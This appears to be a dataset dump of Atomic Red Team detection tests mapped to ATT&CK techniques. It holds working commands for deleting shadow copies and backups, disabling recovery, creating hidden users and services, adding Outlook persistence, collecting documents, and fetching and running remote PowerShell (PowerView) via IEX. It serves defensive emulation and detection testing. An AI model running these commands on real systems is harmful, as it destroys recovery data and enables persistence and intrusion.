deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1136.003: Create Account: Cloud Account
Test: Azure AD - Create a new user via Azure CLI
Platforms: azure-ad
Executor: powershell

Description:
Creates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.

Command:
az login
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"      
$password = "#{password}"
az ad user create --display-name $username --password $password --user-principal-name $userprincipalname
az ad user list --filter "displayname eq 'atomicredteam'"     

Cleanup:
az ad user delete --id "#{userprincipalname}"

Dependencies:
Check if Azure CLI is installed and install manually
Check if Azure CLI is installed and install via PowerShell
Update the userprincipalname to meet your requirements
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Delete Volume Shadow Copies
Platforms: windows
Executor: command_prompt

Description:
Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it
will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)


Command:
vssadmin.exe delete shadows /all /quiet


Dependencies:
Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Delete Volume Shadow Copies via WMI
Platforms: windows
Executor: command_prompt

Description:
Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.


Command:
wmic.exe shadowcopy delete


Dependencies:
Create volume shadow copy of C:\ .
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - wbadmin Delete Windows Backup Catalog
Platforms: windows
Executor: command_prompt

Description:
Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
"The backup catalog has been successfully deleted." will be displayed in the PowerShell session.


Command:
wbadmin delete catalog -quiet
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Disable Windows Recovery Console Repair
Platforms: windows
Executor: command_prompt

Description:
Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Upon execution, "The operation completed successfully." will be displayed in the powershell session.


Command:
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no


Cleanup:
bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Delete Volume Shadow Copies via WMI with PowerShell
Platforms: windows
Executor: powershell

Description:
Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
This technique is used by numerous ransomware families such as Sodinokibi/REvil.
Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
there may be no output displayed.


Command:
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Delete Backup Files
Platforms: windows
Executor: command_prompt

Description:
Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try
to delete files from around the system.


Command:
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - wbadmin Delete systemstatebackup
Platforms: windows
Executor: command_prompt

Description:
Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.


Command:
wbadmin delete systemstatebackup -keepVersions:0
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Disable the SR scheduled task
Platforms: windows
Executor: command_prompt

Description:
Use schtasks.exe to disable the System Restore (SR) scheduled task


Command:
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable


Cleanup:
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1
Atomic Red Team — T1490: Inhibit System Recovery
Test: Disable System Restore Through Registry
Platforms: windows
Executor: command_prompt

Description:
Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - vssadmin Resize Shadowstorage Volume
Platforms: windows
Executor: powershell

Description:
Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.

Command:
vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%
Atomic Red Team — T1490: Inhibit System Recovery
Test: Modify VSS Service Permissions
Platforms: windows
Executor: command_prompt

Description:
This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
- Deny Generic All (GA) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL
These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges.
A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.


Command:
sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)


Cleanup:
sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Atomic Red Team — T1490: Inhibit System Recovery
Test: Disable Time Machine
Platforms: macos
Executor: sh

Description:
Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.


Command:
sudo tmutil disable

Cleanup:
sudo tmutil enable
Atomic Red Team — T1490: Inhibit System Recovery
Test: Windows - Delete Volume Shadow Copies via Diskshadow
Platforms: windows
Executor: powershell

Description:
Deletes Windows Volume Shadow Copies via Diskshadow binary. This technique is used by numerous ransomware families such as Crytox. The binary is present by default in Windows Server operating systems (since Windows Server 2008). Upon execution, it will delete all shadow copies of the server.


Command:
"delete shadows all" | diskshadow.exe


Dependencies:
Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.
Atomic Red Team — T1564: Hide Artifacts
Test: Extract binary files via VBA
Platforms: windows
Executor: powershell

Description:
This module extracts a binary (calc.exe) from inside of another binary. 

In the wild maldoc authors will use this technique to hide binaries inside of files stored 
within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
is the same document without all the malicious code. Document 1 will copy Document 2 to the file system
and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this
oleObject.bin file is a payload that is parsed out and executed on the file system.


Command:
$macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
$macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap


Cleanup:
Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore


Dependencies:
Microsoft Word must be installed
Atomic Red Team — T1564: Hide Artifacts
Test: Create a Hidden User Called "$"
Platforms: windows
Executor: command_prompt

Description:
Creating a user with a username containing "$"

Command:
net user $ ATOMIC123! /add /active:yes

Cleanup:
net user $ /DELETE 2>&1
Atomic Red Team — T1564: Hide Artifacts
Test: Create an "Administrator " user (with a space on the end)
Platforms: windows
Executor: powershell

Description:
Creating a user with a username containing with a space on the end

Command:
New-LocalUser -Name "Administrator " -NoPassword

Cleanup:
Remove-LocalUser -Name "Administrator " 2>&1 | out-null
Atomic Red Team — T1564: Hide Artifacts
Test: Create and Hide a Service with sc.exe
Platforms: windows
Executor: command_prompt

Description:
The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/[PII_REDACTED]96828672
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format


Command:
sc.exe create #{service_name} binPath= "#{executable_command}"
sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"


Cleanup:
sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc.exe delete #{service_name}
Atomic Red Team — T1564: Hide Artifacts
Test: Command Execution with NirCmd
Platforms: windows
Executor: powershell

Description:
NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis


Command:
cmd /c "#{nircmd_location}" #{command_to_execute}


Cleanup:
cmd /c "#{nircmd_location}" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null


Dependencies:
The Nircmd executable must exist at (#{nircmd_location})
Atomic Red Team — T1137.004: Office Application Startup: Outlook Home Page
Test: Install Outlook Home Page Persistence
Platforms: windows
Executor: command_prompt

Description:
This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).


Command:
reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f


Cleanup:
reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1
# T1137.004 - Office Application Startup: Outlook Home Page

## Description from ATT&CK

> Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)
> 
> Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)

[Source](https://attack.mitre.org/techniques/T1137/004)

## Atomic Tests

- [Atomic Test #1: Install Outlook Home Page Persistence](#atomic-test-1-install-outlook-home-page-persistence)

### Atomic Test #1: Install Outlook Home Page Persistence

This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).

**Supported Platforms:** Windows

**auto_generated_guid:** `7a91ad51-e6d2-4d43-9471-f26362f5738e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| url | URL to Outlook Home Page containing the payload to execute (can be local file:// or remote https://) | string | file://PathToAtomicsFolder&#92;T1137.004&#92;src&#92;T1137.004.html|
| outlook_version | Version of Outlook that is installed | float | 16.0|
| outlook_folder | Name of the Outlook folder to modify the homepage setting for | string | Inbox|

#### Attack Commands: Run with `command_prompt`!

```cmd
reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f
```

#### Cleanup Commands

```cmd
reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /f >nul 2>&1
```
Atomic Red Team — T1119: Automated Collection
Test: Automated Collection Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection
to see what was collected.


Command:
mkdir %temp%\T1119_command_prompt_collection >nul 2>&1
dir c: /b /s .docx | findstr /e .docx
for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection


Cleanup:
del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1
Atomic Red Team — T1119: Automated Collection
Test: Automated Collection PowerShell
Platforms: windows
Executor: powershell

Description:
Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection
to see what was collected.


Command:
New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}


Cleanup:
Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null
Atomic Red Team — T1119: Automated Collection
Test: Recon information for export with PowerShell
Platforms: windows
Executor: powershell

Description:
collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.


Command:
Get-Service > $env:TEMP\T1119_1.txt
Get-ChildItem Env: > $env:TEMP\T1119_2.txt
Get-Process > $env:TEMP\T1119_3.txt


Cleanup:
Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore
Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore
Atomic Red Team — T1119: Automated Collection
Test: Recon information for export with Command Prompt
Platforms: windows
Executor: command_prompt

Description:
collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
to see what was collected.


Command:
sc query type=service > %TEMP%\T1119_1.txt
doskey /history > %TEMP%\T1119_2.txt
wmic process list > %TEMP%\T1119_3.txt
tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt


Cleanup:
del %TEMP%\T1119_1.txt >nul 2>&1
del %TEMP%\T1119_2.txt >nul 2>&1
del %TEMP%\T1119_3.txt >nul 2>&1
del %TEMP%\T1119_4.txt >nul 2>&1
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Basic Permission Groups Discovery Windows (Domain)
Platforms: windows
Executor: command_prompt

Description:
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.


Command:
net localgroup
net group /domain
net group "enterprise admins" /domain
net group "domain admins" /domain
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Permission Groups Discovery PowerShell (Domain)
Platforms: windows
Executor: powershell

Description:
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.


Command:
get-ADPrincipalGroupMembership #{user} | select name
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Elevated group enumeration using net group (Domain)
Platforms: windows
Executor: command_prompt

Description:
Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.


Command:
net groups "Account Operators" /domain
net groups "Exchange Organization Management" /domain
net group "BUILTIN\Backup Operators" /domain
net group "Domain Admins" /domain
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Find machines where user has local admin access (PowerView)
Platforms: windows
Executor: powershell

Description:
Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Find local admins on all machines in domain (PowerView)
Platforms: windows
Executor: powershell

Description:
Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Find Local Admins via Group Policy (PowerView)
Platforms: windows
Executor: powershell

Description:
takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
Platforms: windows
Executor: powershell

Description:
When successful, accounts that do not require kerberos pre-auth will be returned


Command:
get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}


Dependencies:
Computer must be domain joined.

Requires the Active Directory module for powershell to be installed.
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Adfind - Query Active Directory Groups
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Enumerate Active Directory Groups with Get-AdGroup
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps


Command:
Get-AdGroup -Filter *
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Enumerate Active Directory Groups with ADSISearcher
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/


Command:
([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()